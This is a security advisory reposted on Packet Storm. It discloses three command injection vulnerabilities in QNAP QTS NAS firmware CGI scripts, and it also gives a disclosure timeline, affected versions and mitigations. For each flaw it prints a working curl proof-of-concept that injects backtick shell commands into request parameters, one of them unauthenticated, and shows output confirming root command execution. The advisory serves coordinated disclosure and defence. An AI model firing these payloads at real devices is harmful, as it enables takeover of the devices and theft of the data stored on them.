exploit the possibilities

QNAP QTS Remote Command Injection

QNAP QTS Remote Command Injection
Posted Apr 6, 2017
Authored by Harry Sintonen

QNAP QTS suffers from multiple command injection vulnerabilities.

tags | exploit, vulnerability
advisories | CVE-2017-6359, CVE-2017-6360, CVE-2017-6361
SHA-256 | 343c3dd2c8af1703505203d51d06fca1f4b6fd98b7dbcb44ab5aad7c30af0005

QNAP QTS Remote Command Injection

Change Mirror Download
QNAP QTS multiple RCE vulnerabilities
The latest version of this advisory is available at:


QNAP QTS firmware contains multiple Command Injection (CWE-77)
vulnerabilities that can be exploited to gain remote command execution
on the devices.


QNAP QTS web user interface CGI binaries include Command Injection
(CWE-77) vulnerabilities. An unauthenticated attacker can execute
arbitrary commands on the targeted device.


The attacker is able to execute arbitrary commands as administrative user
(root). The attacker has full access to all content on the targeted
device, and can read, modify or remove content at will.


The discovered vulnerabilities, described in more detail below, enable
multiple independent attacks described here in brief:

- Unauthenticated Remote Command Execution

The unauthenticated attacker can perform HTTP requests that exploit
the vulnerability to execute arbitrary commands. If the device is
connected to the internet, the vulnerable devices can be taken over in
an automated fashion and can then be used for further attacks.

- Authenticated Remote Command Execution

The authenticated attacker can perform HTTP requests that exploit
the vulnerabilities to execute arbitrary commands. This gives users
that normally have only restricted access to the device full
administrative (root) access to the system and access to all data
stored on the device regardless of the specified access limitations.


1. [CVE-2017-6361] Command Injection in authLogin.cgi `reboot_notice_msg' (CWE-77)

/cgi-bin/authLogin.cgi CGI has a command injection bug. The
following commands are executed via system():

/sbin/vjbod_util -i '%s' 1>>/dev/null 2>&1
/sbin/vdd_control "%s" %d 2>>/dev/null 2>>/dev/null

The value inserted to %s is obtained from the `reboot_notice_msg' HTTP
request GET parameter.

The reboot_notice_msg is a base64 encoded message of form:


- TTTTTTTT is the unix time stamp (last 8 digits)
- CCCCCCCCCCCCCCCC is the command to perform (Disconnect)
- LLLL is the payload length
- PAYLOAD is the payload contents (LLLL bytes)

By creating a crafted reboot_notice_msg value, arbitrary commands
can be executed. For example:

QNAPVJBD88150863 Disconnect 14`(echo;id)>&2`

$ curl -ki "https://TARGET/cgi-bin/authLogin.cgi?reboot_notice_msg=$(printf 'QNAPVJBD%08d%16s 14`(echo;id)>&2`' $(expr $(date +%s) % 100000000) Disconnect|base64|tr -d '\r\n')"
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
Content-type: text/xml

<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">

2. [CVE-2017-6360] Command Injection in userConfig.cgi cloudPersonalSmtp `hash' (CWE-77)

/cgi-bin/userConfig.cgi CGI has a command injection bug. The following
command is executed via popen():

/sbin/cloud_util -r %s 2>/dev/null

The value inserted to %s is obtained from the `hash' HTTP request GET

An authenticated user can use a specially crafted hash parameter to execute
arbitrary commands as root:

$ curl -ki 'https://TARGET/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`'
HTTP/1.1 200 OK
Date: Sun, 26 Feb 2017 22:55:48 GMT
Transfer-Encoding: chunked
Content-Type: text/plain

uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
Linux TARGET 3.12.6 #1 SMP Mon Feb 13 01:43:01 CST 2017 x86_64 unknown
Content-type: text/html; charset="UTF-8"

/sbin/cloud_util -r [enc_token]

3. [CVE-2017-6359] Command Injection in utilRequest.cgi cancel_trash_recovery `pid' (CWE-77)

/cgi-bin/filemanager/utilRequest.cgi CGI has a command injection bug. The
following commands are executed via system():

/bin/kill -9 %s

The value inserted to %s is obtained from the `pid' HTTP request GET

An authenticated user can use a specially crafted pid parameter to execute
arbitrary commands as root:

$ curl -k 'https://TARGET/cgi-bin/filemanager/utilRequest.cgi?func=cancel_trash_recovery&sid=SIDVALUE&pid=`id>/tmp/pwned`'
{ "version": "4.2.1", "build": "20170213", "status": 0, "success": "true" }

[~] # cat /tmp/pwned
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[~] #

Vulnerable devices

The vulnerabilities were discovered from an QNAP TVS-663, firmware version
4.2.2 Build 20161214. They're also confirmed to work with version 4.2.3
Build 20170213.

CVE-2017-6361 was also confirmed on QNAP HS-251+ running QTS 4.2.2 Build

It is believed that these vulnerabilities affect all devices running QTS.

Recommendations to vendor

1. Fix the command injection vulnerabilities by performing proper input
validation (whitelisting) and/or shell metacharacter escaping, or by
utilizing execl family of functions.

End user mitigation

- Install the firmware update version 4.2.4 build 20170313 or later.


- Restrict access to the web user interface (ports 8080 and 443).


The vulnerabilities were discovered by Harry Sintonen / F-Secure Corporation.


21.01.2017 discovered vulnerabilities 2 and 3
23.02.2017 discovered vulnerability 1
23.02.2017 reported vulnerability 1 to the vendor
26.02.2017 started to write a preliminary advisory
27.02.2017 sent the preliminary advisory to vendor and CERT-FI
27.02.2017 requested CVE-IDs from MITRE
28.02.2017 received CVE-IDs from MITRE
02.03.2017 inquired status from vendor contact
02.03.2017 vendor confirmed CVE-2017-6361
04.03.2017 vendor confirmed the other two vulnerabilities
13.03.2017 vendor communicated about a upcoming release fixing the vulns
14.03.2017 vendor released QTS 4.2.4 build 20170313 fixing the vulns
15.03.2017 sent update to CERT-FI
21.03.2017 vendor released NAS-201703-21 advisory:
06.04.2017 public release of the advisory

Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By